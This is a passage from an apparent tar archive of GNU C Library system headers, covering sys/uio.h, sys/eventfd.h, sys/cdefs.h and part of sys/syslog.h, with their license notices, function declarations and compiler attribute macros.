(fstat64 (int __fd, struct stat64 *__statbuf)) { return __fxstat64 (_STAT_VER, __fd, __statbuf); } # ifdef __USE_ATFILE __extern_inline int __NTH (fstatat64 (int __fd, const char *__filename, struct stat64 *__statbuf, int __flag)) { return __fxstatat64 (_STAT_VER, __fd, __filename, __statbuf, __flag); } # endif # endif #endif __END_DECLS #endif /* sys/stat.h */ sys/uio.h 0000644 00000014207 15246445046 0006345 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_UIO_H #define _SYS_UIO_H 1 #include <features.h> #include <sys/types.h> #include <bits/types/struct_iovec.h> #include <bits/uio_lim.h> #ifdef __IOV_MAX # define UIO_MAXIOV __IOV_MAX #else # undef UIO_MAXIOV #endif __BEGIN_DECLS /* Read data from file descriptor FD, and put the result in the buffers described by IOVEC, which is a vector of COUNT 'struct iovec's. The buffers are filled in the order specified. Operates just like 'read' (see <unistd.h>) except that data are put in IOVEC instead of a contiguous buffer. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t readv (int __fd, const struct iovec *__iovec, int __count) __wur; /* Write data pointed by the buffers described by IOVEC, which is a vector of COUNT 'struct iovec's, to file descriptor FD. The data is written in the order specified. Operates just like 'write' (see <unistd.h>) except that the data are taken from IOVEC instead of a contiguous buffer. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t writev (int __fd, const struct iovec *__iovec, int __count) __wur; #ifdef __USE_MISC # ifndef __USE_FILE_OFFSET64 /* Read data from file descriptor FD at the given position OFFSET without change the file pointer, and put the result in the buffers described by IOVEC, which is a vector of COUNT 'struct iovec's. The buffers are filled in the order specified. Operates just like 'pread' (see <unistd.h>) except that data are put in IOVEC instead of a contiguous buffer. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t preadv (int __fd, const struct iovec *__iovec, int __count, __off_t __offset) __wur; /* Write data pointed by the buffers described by IOVEC, which is a vector of COUNT 'struct iovec's, to file descriptor FD at the given position OFFSET without change the file pointer. The data is written in the order specified. Operates just like 'pwrite' (see <unistd.h>) except that the data are taken from IOVEC instead of a contiguous buffer. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t pwritev (int __fd, const struct iovec *__iovec, int __count, __off_t __offset) __wur; # else # ifdef __REDIRECT extern ssize_t __REDIRECT (preadv, (int __fd, const struct iovec *__iovec, int __count, __off64_t __offset), preadv64) __wur; extern ssize_t __REDIRECT (pwritev, (int __fd, const struct iovec *__iovec, int __count, __off64_t __offset), pwritev64) __wur; # else # define preadv preadv64 # define pwritev pwritev64 # endif # endif # ifdef __USE_LARGEFILE64 /* Read data from file descriptor FD at the given position OFFSET without change the file pointer, and put the result in the buffers described by IOVEC, which is a vector of COUNT 'struct iovec's. The buffers are filled in the order specified. Operates just like 'pread' (see <unistd.h>) except that data are put in IOVEC instead of a contiguous buffer. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t preadv64 (int __fd, const struct iovec *__iovec, int __count, __off64_t __offset) __wur; /* Write data pointed by the buffers described by IOVEC, which is a vector of COUNT 'struct iovec's, to file descriptor FD at the given position OFFSET without change the file pointer. The data is written in the order specified. Operates just like 'pwrite' (see <unistd.h>) except that the data are taken from IOVEC instead of a contiguous buffer. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t pwritev64 (int __fd, const struct iovec *__iovec, int __count, __off64_t __offset) __wur; # endif #endif /* Use misc. */ #ifdef __USE_GNU # ifndef __USE_FILE_OFFSET64 /* Same as preadv but with an additional flag argumenti defined at uio.h. */ extern ssize_t preadv2 (int __fp, const struct iovec *__iovec, int __count, __off_t __offset, int ___flags) __wur; /* Same as preadv but with an additional flag argument defined at uio.h. */ extern ssize_t pwritev2 (int __fd, const struct iovec *__iodev, int __count, __off_t __offset, int __flags) __wur; # else # ifdef __REDIRECT extern ssize_t __REDIRECT (pwritev2, (int __fd, const struct iovec *__iovec, int __count, __off64_t __offset, int __flags), pwritev64v2) __wur; extern ssize_t __REDIRECT (preadv2, (int __fd, const struct iovec *__iovec, int __count, __off64_t __offset, int __flags), preadv64v2) __wur; # else # define preadv2 preadv64v2 # define pwritev2 pwritev64v2 # endif # endif # ifdef __USE_LARGEFILE64 /* Same as preadv but with an additional flag argumenti defined at uio.h. */ extern ssize_t preadv64v2 (int __fp, const struct iovec *__iovec, int __count, __off64_t __offset, int ___flags) __wur; /* Same as preadv but with an additional flag argument defined at uio.h. */ extern ssize_t pwritev64v2 (int __fd, const struct iovec *__iodev, int __count, __off64_t __offset, int __flags) __wur; # endif #endif /* Use GNU. */ __END_DECLS /* Some operating systems provide system-specific extensions to this header. */ #ifdef __USE_GNU # include <bits/uio-ext.h> #endif #endif /* sys/uio.h */ sys/eventfd.h 0000644 00000002567 15246445046 0007212 0 ustar 00 /* Copyright (C) 2007-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_EVENTFD_H #define _SYS_EVENTFD_H 1 #include <stdint.h> /* Get the platform-dependent flags. */ #include <bits/eventfd.h> /* Type for event counter. */ typedef uint64_t eventfd_t; __BEGIN_DECLS /* Return file descriptor for generic event channel. Set initial value to COUNT. */ extern int eventfd (unsigned int __count, int __flags) __THROW; /* Read event counter and possibly wait for events. */ extern int eventfd_read (int __fd, eventfd_t *__value); /* Increment event counter. */ extern int eventfd_write (int __fd, eventfd_t __value); __END_DECLS #endif /* sys/eventfd.h */ sys/cdefs.h 0000644 00000050312 15246445046 0006632 0 ustar 00 /* Copyright (C) 1992-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_CDEFS_H #define _SYS_CDEFS_H 1 /* We are almost always included from features.h. */ #ifndef _FEATURES_H # include <features.h> #endif /* The GNU libc does not support any K&R compilers or the traditional mode of ISO C compilers anymore. Check for some of the combinations not anymore supported. */ #if defined __GNUC__ && !defined __STDC__ # error "You need a ISO C conforming compiler to use the glibc headers" #endif /* Some user header file might have defined this before. */ #undef __P #undef __PMT #ifdef __GNUC__ /* All functions, except those with callbacks or those that synchronize memory, are leaf functions. */ # if __GNUC_PREREQ (4, 6) && !defined _LIBC # define __LEAF , __leaf__ # define __LEAF_ATTR __attribute__ ((__leaf__)) # else # define __LEAF # define __LEAF_ATTR # endif /* GCC can always grok prototypes. For C++ programs we add throw() to help it optimize the function calls. But this works only with gcc 2.8.x and egcs. For gcc 3.2 and up we even mark C functions as non-throwing using a function attribute since programs can use the -fexceptions options for C code as well. */ # if !defined __cplusplus && __GNUC_PREREQ (3, 3) # define __THROW __attribute__ ((__nothrow__ __LEAF)) # define __THROWNL __attribute__ ((__nothrow__)) # define __NTH(fct) __attribute__ ((__nothrow__ __LEAF)) fct # define __NTHNL(fct) __attribute__ ((__nothrow__)) fct # else # if defined __cplusplus && __GNUC_PREREQ (2,8) # define __THROW throw () # define __THROWNL throw () # define __NTH(fct) __LEAF_ATTR fct throw () # define __NTHNL(fct) fct throw () # else # define __THROW # define __THROWNL # define __NTH(fct) fct # define __NTHNL(fct) fct # endif # endif #else /* Not GCC. */ # if (defined __cplusplus \ || (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L)) # define __inline inline # else # define __inline /* No inline functions. */ # endif # define __THROW # define __THROWNL # define __NTH(fct) fct #endif /* GCC. */ /* Compilers that are not clang may object to #if defined __clang__ && __has_extension(...) even though they do not need to evaluate the right-hand side of the &&. */ #if defined __clang__ && defined __has_extension # define __glibc_clang_has_extension(ext) __has_extension (ext) #else # define __glibc_clang_has_extension(ext) 0 #endif /* These two macros are not used in glibc anymore. They are kept here only because some other projects expect the macros to be defined. */ #define __P(args) args #define __PMT(args) args /* For these things, GCC behaves the ANSI way normally, and the non-ANSI way under -traditional. */ #define __CONCAT(x,y) x ## y #define __STRING(x) #x /* This is not a typedef so `const __ptr_t' does the right thing. */ #define __ptr_t void * /* C++ needs to know that types and declarations are C, not C++. */ #ifdef __cplusplus # define __BEGIN_DECLS extern "C" { # define __END_DECLS } #else # define __BEGIN_DECLS # define __END_DECLS #endif /* Fortify support. */ #define __bos(ptr) __builtin_object_size (ptr, __USE_FORTIFY_LEVEL > 1) #define __bos0(ptr) __builtin_object_size (ptr, 0) /* Use __builtin_dynamic_object_size at _FORTIFY_SOURCE=3 when available. */ #if __USE_FORTIFY_LEVEL == 3 && (__glibc_clang_prereq (9, 0) \ || __GNUC_PREREQ (12, 0)) # define __glibc_objsize0(__o) __builtin_dynamic_object_size (__o, 0) # define __glibc_objsize(__o) __builtin_dynamic_object_size (__o, 1) #else # define __glibc_objsize0(__o) __bos0 (__o) # define __glibc_objsize(__o) __bos (__o) #endif #if __USE_FORTIFY_LEVEL > 0 /* Compile time conditions to choose between the regular, _chk and _chk_warn variants. These conditions should get evaluated to constant and optimized away. */ #define __glibc_safe_len_cond(__l, __s, __osz) ((__l) <= (__osz) / (__s)) #define __glibc_unsigned_or_positive(__l) \ ((__typeof (__l)) 0 < (__typeof (__l)) -1 \ || (__builtin_constant_p (__l) && (__l) > 0)) /* Length is known to be safe at compile time if the __L * __S <= __OBJSZ condition can be folded to a constant and if it is true, or unknown (-1) */ #define __glibc_safe_or_unknown_len(__l, __s, __osz) \ ((__builtin_constant_p (__osz) && (__osz) == (__SIZE_TYPE__) -1) \ || (__glibc_unsigned_or_positive (__l) \ && __builtin_constant_p (__glibc_safe_len_cond ((__SIZE_TYPE__) (__l), \ (__s), (__osz))) \ && __glibc_safe_len_cond ((__SIZE_TYPE__) (__l), (__s), (__osz)))) /* Conversely, we know at compile time that the length is unsafe if the __L * __S <= __OBJSZ condition can be folded to a constant and if it is false. */ #define __glibc_unsafe_len(__l, __s, __osz) \ (__glibc_unsigned_or_positive (__l) \ && __builtin_constant_p (__glibc_safe_len_cond ((__SIZE_TYPE__) (__l), \ __s, __osz)) \ && !__glibc_safe_len_cond ((__SIZE_TYPE__) (__l), __s, __osz)) /* Fortify function f. __f_alias, __f_chk and __f_chk_warn must be declared. */ #define __glibc_fortify(f, __l, __s, __osz, ...) \ (__glibc_safe_or_unknown_len (__l, __s, __osz) \ ? __ ## f ## _alias (__VA_ARGS__) \ : (__glibc_unsafe_len (__l, __s, __osz) \ ? __ ## f ## _chk_warn (__VA_ARGS__, __osz) \ : __ ## f ## _chk (__VA_ARGS__, __osz))) /* Fortify function f, where object size argument passed to f is the number of elements and not total size. */ #define __glibc_fortify_n(f, __l, __s, __osz, ...) \ (__glibc_safe_or_unknown_len (__l, __s, __osz) \ ? __ ## f ## _alias (__VA_ARGS__) \ : (__glibc_unsafe_len (__l, __s, __osz) \ ? __ ## f ## _chk_warn (__VA_ARGS__, (__osz) / (__s)) \ : __ ## f ## _chk (__VA_ARGS__, (__osz) / (__s)))) #endif #if __GNUC_PREREQ (4,3) # define __warndecl(name, msg) \ extern void name (void) __attribute__((__warning__ (msg))) # define __warnattr(msg) __attribute__((__warning__ (msg))) # define __errordecl(name, msg) \ extern void name (void) __attribute__((__error__ (msg))) #else # define __warndecl(name, msg) extern void name (void) # define __warnattr(msg) # define __errordecl(name, msg) extern void name (void) #endif /* Support for flexible arrays. Headers that should use flexible arrays only if they're "real" (e.g. only if they won't affect sizeof()) should test #if __glibc_c99_flexarr_available. */ #if defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L # define __flexarr [] # define __glibc_c99_flexarr_available 1 #elif __GNUC_PREREQ (2,97) /* GCC 2.97 supports C99 flexible array members as an extension, even when in C89 mode or compiling C++ (any version). */ # define __flexarr [] # define __glibc_c99_flexarr_available 1 #elif defined __GNUC__ /* Pre-2.97 GCC did not support C99 flexible arrays but did have an equivalent extension with slightly different notation. */ # define __flexarr [0] # define __glibc_c99_flexarr_available 1 #else /* Some other non-C99 compiler. Approximate with [1]. */ # define __flexarr [1] # define __glibc_c99_flexarr_available 0 #endif /* __asm__ ("xyz") is used throughout the headers to rename functions at the assembly language level. This is wrapped by the __REDIRECT macro, in order to support compilers that can do this some other way. When compilers don't support asm-names at all, we have to do preprocessor tricks instead (which don't have exactly the right semantics, but it's the best we can do). Example: int __REDIRECT(setpgrp, (__pid_t pid, __pid_t pgrp), setpgid); */ #if defined __GNUC__ && __GNUC__ >= 2 # define __REDIRECT(name, proto, alias) name proto __asm__ (__ASMNAME (#alias)) # ifdef __cplusplus # define __REDIRECT_NTH(name, proto, alias) \ name proto __THROW __asm__ (__ASMNAME (#alias)) # define __REDIRECT_NTHNL(name, proto, alias) \ name proto __THROWNL __asm__ (__ASMNAME (#alias)) # else # define __REDIRECT_NTH(name, proto, alias) \ name proto __asm__ (__ASMNAME (#alias)) __THROW # define __REDIRECT_NTHNL(name, proto, alias) \ name proto __asm__ (__ASMNAME (#alias)) __THROWNL # endif # define __ASMNAME(cname) __ASMNAME2 (__USER_LABEL_PREFIX__, cname) # define __ASMNAME2(prefix, cname) __STRING (prefix) cname /* #elif __SOME_OTHER_COMPILER__ # define __REDIRECT(name, proto, alias) name proto; \ _Pragma("let " #name " = " #alias) */ #endif /* GCC has various useful declarations that can be made with the `__attribute__' syntax. All of the ways we use this do fine if they are omitted for compilers that don't understand it. */ #if !defined __GNUC__ || __GNUC__ < 2 # define __attribute__(xyz) /* Ignore */ #endif /* At some point during the gcc 2.96 development the `malloc' attribute for functions was introduced. We don't want to use it unconditionally (although this would be possible) since it generates warnings. */ #if __GNUC_PREREQ (2,96) # define __attribute_malloc__ __attribute__ ((__malloc__)) #else # define __attribute_malloc__ /* Ignore */ #endif /* Tell the compiler which arguments to an allocation function indicate the size of the allocation. */ #if __GNUC_PREREQ (4, 3) # define __attribute_alloc_size__(params) \ __attribute__ ((__alloc_size__ params)) #else # define __attribute_alloc_size__(params) /* Ignore. */ #endif /* At some point during the gcc 2.96 development the `pure' attribute for functions was introduced. We don't want to use it unconditionally (although this would be possible) since it generates warnings. */ #if __GNUC_PREREQ (2,96) # define __attribute_pure__ __attribute__ ((__pure__)) #else # define __attribute_pure__ /* Ignore */ #endif /* This declaration tells the compiler that the value is constant. */ #if __GNUC_PREREQ (2,5) # define __attribute_const__ __attribute__ ((__const__)) #else # define __attribute_const__ /* Ignore */ #endif /* At some point during the gcc 3.1 development the `used' attribute for functions was introduced. We don't want to use it unconditionally (although this would be possible) since it generates warnings. */ #if __GNUC_PREREQ (3,1) # define __attribute_used__ __attribute__ ((__used__)) # define __attribute_noinline__ __attribute__ ((__noinline__)) #else # define __attribute_used__ __attribute__ ((__unused__)) # define __attribute_noinline__ /* Ignore */ #endif /* Since version 3.2, gcc allows marking deprecated functions. */ #if __GNUC_PREREQ (3,2) # define __attribute_deprecated__ __attribute__ ((__deprecated__)) #else # define __attribute_deprecated__ /* Ignore */ #endif /* Since version 4.5, gcc also allows one to specify the message printed when a deprecated function is used. clang claims to be gcc 4.2, but may also support this feature. */ #if __GNUC_PREREQ (4,5) || \ __glibc_clang_has_extension (__attribute_deprecated_with_message__) # define __attribute_deprecated_msg__(msg) \ __attribute__ ((__deprecated__ (msg))) #else # define __attribute_deprecated_msg__(msg) __attribute_deprecated__ #endif /* At some point during the gcc 2.8 development the `format_arg' attribute for functions was introduced. We don't want to use it unconditionally (although this would be possible) since it generates warnings. If several `format_arg' attributes are given for the same function, in gcc-3.0 and older, all but the last one are ignored. In newer gccs, all designated arguments are considered. */ #if __GNUC_PREREQ (2,8) # define __attribute_format_arg__(x) __attribute__ ((__format_arg__ (x))) #else # define __attribute_format_arg__(x) /* Ignore */ #endif /* At some point during the gcc 2.97 development the `strfmon' format attribute for functions was introduced. We don't want to use it unconditionally (although this would be possible) since it generates warnings. */ #if __GNUC_PREREQ (2,97) # define __attribute_format_strfmon__(a,b) \ __attribute__ ((__format__ (__strfmon__, a, b))) #else # define __attribute_format_strfmon__(a,b) /* Ignore */ #endif /* The nonull function attribute allows to mark pointer parameters which must not be NULL. */ #if __GNUC_PREREQ (3,3) # define __nonnull(params) __attribute__ ((__nonnull__ params)) #else # define __nonnull(params) #endif /* If fortification mode, we warn about unused results of certain function calls which can lead to problems. */ #if __GNUC_PREREQ (3,4) # define __attribute_warn_unused_result__ \ __attribute__ ((__warn_unused_result__)) # if __USE_FORTIFY_LEVEL > 0 # define __wur __attribute_warn_unused_result__ # endif #else # define __attribute_warn_unused_result__ /* empty */ #endif #ifndef __wur # define __wur /* Ignore */ #endif /* Forces a function to be always inlined. */ #if __GNUC_PREREQ (3,2) /* The Linux kernel defines __always_inline in stddef.h (283d7573), and it conflicts with this definition. Therefore undefine it first to allow either header to be included first. */ # undef __always_inline # define __always_inline __inline __attribute__ ((__always_inline__)) #else # undef __always_inline # define __always_inline __inline #endif /* Associate error messages with the source location of the call site rather than with the source location inside the function. */ #if __GNUC_PREREQ (4,3) # define __attribute_artificial__ __attribute__ ((__artificial__)) #else # define __attribute_artificial__ /* Ignore */ #endif /* GCC 4.3 and above with -std=c99 or -std=gnu99 implements ISO C99 inline semantics, unless -fgnu89-inline is used. Using __GNUC_STDC_INLINE__ or __GNUC_GNU_INLINE is not a good enough check for gcc because gcc versions older than 4.3 may define these macros and still not guarantee GNU inlining semantics. clang++ identifies itself as gcc-4.2, but has support for GNU inlining semantics, that can be checked fot by using the __GNUC_STDC_INLINE_ and __GNUC_GNU_INLINE__ macro definitions. */ #if (!defined __cplusplus || __GNUC_PREREQ (4,3) \ || (defined __clang__ && (defined __GNUC_STDC_INLINE__ \ || defined __GNUC_GNU_INLINE__))) # if defined __GNUC_STDC_INLINE__ || defined __cplusplus # define __extern_inline extern __inline __attribute__ ((__gnu_inline__)) # define __extern_always_inline \ extern __always_inline __attribute__ ((__gnu_inline__)) # else # define __extern_inline extern __inline # define __extern_always_inline extern __always_inline # endif #endif #ifdef __extern_always_inline # define __fortify_function __extern_always_inline __attribute_artificial__ #endif /* GCC 4.3 and above allow passing all anonymous arguments of an __extern_always_inline function to some other vararg function. */ #if __GNUC_PREREQ (4,3) # define __va_arg_pack() __builtin_va_arg_pack () # define __va_arg_pack_len() __builtin_va_arg_pack_len () #endif /* It is possible to compile containing GCC extensions even if GCC is run in pedantic mode if the uses are carefully marked using the `__extension__' keyword. But this is not generally available before version 2.8. */ #if !__GNUC_PREREQ (2,8) # define __extension__ /* Ignore */ #endif /* __restrict is known in EGCS 1.2 and above. */ #if !__GNUC_PREREQ (2,92) # if defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L # define __restrict restrict # else # define __restrict /* Ignore */ # endif #endif /* ISO C99 also allows to declare arrays as non-overlapping. The syntax is array_name[restrict] GCC 3.1 supports this. */ #if __GNUC_PREREQ (3,1) && !defined __GNUG__ # define __restrict_arr __restrict #else # ifdef __GNUC__ # define __restrict_arr /* Not supported in old GCC. */ # else # if defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L # define __restrict_arr restrict # else /* Some other non-C99 compiler. */ # define __restrict_arr /* Not supported. */ # endif # endif #endif #if __GNUC__ >= 3 # define __glibc_unlikely(cond) __builtin_expect ((cond), 0) # define __glibc_likely(cond) __builtin_expect ((cond), 1) #else # define __glibc_unlikely(cond) (cond) # define __glibc_likely(cond) (cond) #endif #ifdef __has_attribute # define __glibc_has_attribute(attr) __has_attribute (attr) #else # define __glibc_has_attribute(attr) 0 #endif #if (!defined _Noreturn \ && (defined __STDC_VERSION__ ? __STDC_VERSION__ : 0) < 201112 \ && !__GNUC_PREREQ (4,7)) # if __GNUC_PREREQ (2,8) # define _Noreturn __attribute__ ((__noreturn__)) # else # define _Noreturn # endif #endif #if __GNUC_PREREQ (8, 0) /* Describes a char array whose address can safely be passed as the first argument to strncpy and strncat, as the char array is not necessarily a NUL-terminated string. */ # define __attribute_nonstring__ __attribute__ ((__nonstring__)) #else # define __attribute_nonstring__ #endif #if (!defined _Static_assert && !defined __cplusplus \ && (defined __STDC_VERSION__ ? __STDC_VERSION__ : 0) < 201112 \ && (!__GNUC_PREREQ (4, 6) || defined __STRICT_ANSI__)) # define _Static_assert(expr, diagnostic) \ extern int (*__Static_assert_function (void)) \ [!!sizeof (struct { int __error_if_negative: (expr) ? 2 : -1; })] #endif #include <bits/wordsize.h> #include <bits/long-double.h> #if defined __LONG_DOUBLE_MATH_OPTIONAL && defined __NO_LONG_DOUBLE_MATH # define __LDBL_COMPAT 1 # ifdef __REDIRECT # define __LDBL_REDIR1(name, proto, alias) __REDIRECT (name, proto, alias) # define __LDBL_REDIR(name, proto) \ __LDBL_REDIR1 (name, proto, __nldbl_##name) # define __LDBL_REDIR1_NTH(name, proto, alias) __REDIRECT_NTH (name, proto, alias) # define __LDBL_REDIR_NTH(name, proto) \ __LDBL_REDIR1_NTH (name, proto, __nldbl_##name) # define __LDBL_REDIR1_DECL(name, alias) \ extern __typeof (name) name __asm (__ASMNAME (#alias)); # define __LDBL_REDIR_DECL(name) \ extern __typeof (name) name __asm (__ASMNAME ("__nldbl_" #name)); # define __REDIRECT_LDBL(name, proto, alias) \ __LDBL_REDIR1 (name, proto, __nldbl_##alias) # define __REDIRECT_NTH_LDBL(name, proto, alias) \ __LDBL_REDIR1_NTH (name, proto, __nldbl_##alias) # endif #endif #if !defined __LDBL_COMPAT || !defined __REDIRECT # define __LDBL_REDIR1(name, proto, alias) name proto # define __LDBL_REDIR(name, proto) name proto # define __LDBL_REDIR1_NTH(name, proto, alias) name proto __THROW # define __LDBL_REDIR_NTH(name, proto) name proto __THROW # define __LDBL_REDIR_DECL(name) # ifdef __REDIRECT # define __REDIRECT_LDBL(name, proto, alias) __REDIRECT (name, proto, alias) # define __REDIRECT_NTH_LDBL(name, proto, alias) \ __REDIRECT_NTH (name, proto, alias) # endif #endif /* __glibc_macro_warning (MESSAGE) issues warning MESSAGE. This is intended for use in preprocessor macros. Note: MESSAGE must be a _single_ string; concatenation of string literals is not supported. */ #if __GNUC_PREREQ (4,8) || __glibc_clang_prereq (3,5) # define __glibc_macro_warning1(message) _Pragma (#message) # define __glibc_macro_warning(message) \ __glibc_macro_warning1 (GCC warning message) #else # define __glibc_macro_warning(msg) #endif /* Generic selection (ISO C11) is a C-only feature, available in GCC since version 4.9. Previous versions do not provide generic selection, even though they might set __STDC_VERSION__ to 201112L, when in -std=c11 mode. Thus, we must check for !defined __GNUC__ when testing __STDC_VERSION__ for generic selection support. On the other hand, Clang also defines __GNUC__, so a clang-specific check is required to enable the use of generic selection. */ #if !defined __cplusplus \ && (__GNUC_PREREQ (4, 9) \ || __glibc_clang_has_extension (c_generic_selections) \ || (!defined __GNUC__ && defined __STDC_VERSION__ \ && __STDC_VERSION__ >= 201112L)) # define __HAVE_GENERIC_SELECTION 1 #else # define __HAVE_GENERIC_SELECTION 0 #endif #endif /* sys/cdefs.h */ sys/syslog.h 0000644 00000017026 15246445046 0007073 0 ustar 00 /* * Copyright (c) 1982, 1986, 1988, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)syslog.h 8.1 (Berkeley) 6/2/93 */ #ifndef _SYS_SYSLOG_H #define _SYS_SYSLOG_H 1 #include <features.h> #define __need___va_list #include <stdarg.h> /* This file defines _PATH_LOG. */ #include <bits/syslog-path.h> /* * priorities/facilities are encoded into a single 32-bit quantity, where the * bottom 3 bits are the priority (0-7) and the top 28 bits are the facility * (0-big number). Both the priorities and the facilities map roughly * one-to-one to strings in the syslogd(8) source code. This mapping is * included in this file. * * priorities (these are ordered) */ #define LOG_EMERG 0 /* system is unusable */ #define LOG_ALERT 1 /* action must be taken immediately */ #define LOG_CRIT 2 /* critical conditions */ #define LOG_ERR 3 /* error conditions */ #define LOG_WARNING 4 /* warning conditions */ #define LOG_NOTICE 5 /* normal but significant condition */ #define LOG_INFO 6 /* informational */ #define LOG_DEBUG 7 /* debug-level messages */ #define LOG_PRIMASK 0x07 /* mask to extract priority part (internal) */ /* extract priority */ #define LOG_PRI(p) ((p) & LOG_PRIMASK) #define LOG_MAKEPRI(fac, pri) ((fac) | (pri)) #ifdef SYSLOG_NAMES #define INTERNAL_NOPRI 0x10 /* the "no priority" priority */ /* mark "facility" */ #define INTERNAL_MARK LOG_MAKEPRI(LOG_NFACILITIES << 3, 0) typedef struct _code { char *c_name; int c_val; } CODE; CODE prioritynames[] = { { "alert", LOG_ALERT }, { "crit", LOG_CRIT }, { "debug", LOG_DEBUG }, { "emerg", LOG_EMERG }, { "err", LOG_ERR }, { "error", LOG_ERR }, /* DEPRECATED */ { "info", LOG_INFO }, { "none", INTERNAL_NOPRI }, /* INTERNAL */ { "notice", LOG_NOTICE }, { "panic", LOG_EMERG }, /* DEPRECATED */ { "warn", LOG_WARNING }, /* DEPRECATED */ { "warning", LOG_WARNING }, { NULL, -1 } }; #endif /* facility codes */ #define LOG_KERN (0<<3) /* kernel messages */ #define LOG_USER (1<<3) /* random user-level messages */ #define LOG_MAIL (2<<3) /* mail system */ #define LOG_DAEMON (3<<3) /* system daemons */ #define LOG_AUTH (4<<3) /* security/authorization messages */ #define LOG_SYSLOG (5<<3) /* messages generated internally by syslogd */ #define LOG_LPR (6<<3) /* line printer subsystem */ #define LOG_NEWS (7<<3) /* network news subsystem */ #define LOG_UUCP (8<<3) /* UUCP subsystem */ #define LOG_CRON (9<<3) /* clock daemon */ #define LOG_AUTHPRIV (10<<3) /* security/authorization messages (private) */ #define LOG_FTP (11<<3) /* ftp daemon */ /* other codes through 15 reserved for system use */ #define LOG_LOCAL0 (16<<3) /* reserved for local use */ #define LOG_LOCAL1 (17<<3) /* reserved for local use */ #define LOG_LOCAL2 (18<<3) /* reserved for local use */ #define LOG_LOCAL3 (19<<3) /* reserved for local use */ #define LOG_LOCAL4 (20<<3) /* reserved for local use */ #define LOG_LOCAL5 (21<<3) /* reserved for local use */ #define LOG_LOCAL6 (22<<3) /* reserved for local use */ #define LOG_LOCAL7 (23<<3) /* reserved for local use */ #define LOG_NFACILITIES 24 /* current number of facilities */ #define LOG_FACMASK 0x03f8 /* mask to extract facility part */ /* facility of pri */ #define LOG_FAC(p) (((p) & LOG_FACMASK) >> 3) #ifdef SYSLOG_NAMES CODE facilitynames[] = { { "auth", LOG_AUTH }, { "authpriv", LOG_AUTHPRIV }, { "cron", LOG_CRON }, { "daemon", LOG_DAEMON }, { "ftp", LOG_FTP }, { "kern", LOG_KERN }, { "lpr", LOG_LPR }, { "mail", LOG_MAIL }, { "mark", INTERNAL_MARK }, /* INTERNAL */ { "news", LOG_NEWS }, { "security", LOG_AUTH }, /* DEPRECATED */ { "syslog", LOG_SYSLOG }, { "user", LOG_USER }, { "uucp", LOG_UUCP }, { "local0", LOG_LOCAL0 }, { "local1", LOG_LOCAL1 }, { "local2", LOG_LOCAL2 }, { "local3", LOG_LOCAL3 }, { "local4", LOG_LOCAL4 }, { "local5", LOG_LOCAL5 }, { "local6", LOG_LOCAL6 }, { "local7", LOG_LOCAL7 }, { NULL, -1 } }; #endif /* * arguments to setlogmask. */ #define LOG_MASK(pri) (1 << (pri)) /* mask for one priority */ #define LOG_UPTO(pri) ((1 << ((pri)+1)) - 1) /* all priorities through pri */ /* * Option flags for openlog. * * LOG_ODELAY no longer does anything. * LOG_NDELAY is the inverse of what it used to be. */ #define LOG_PID 0x01 /* log the 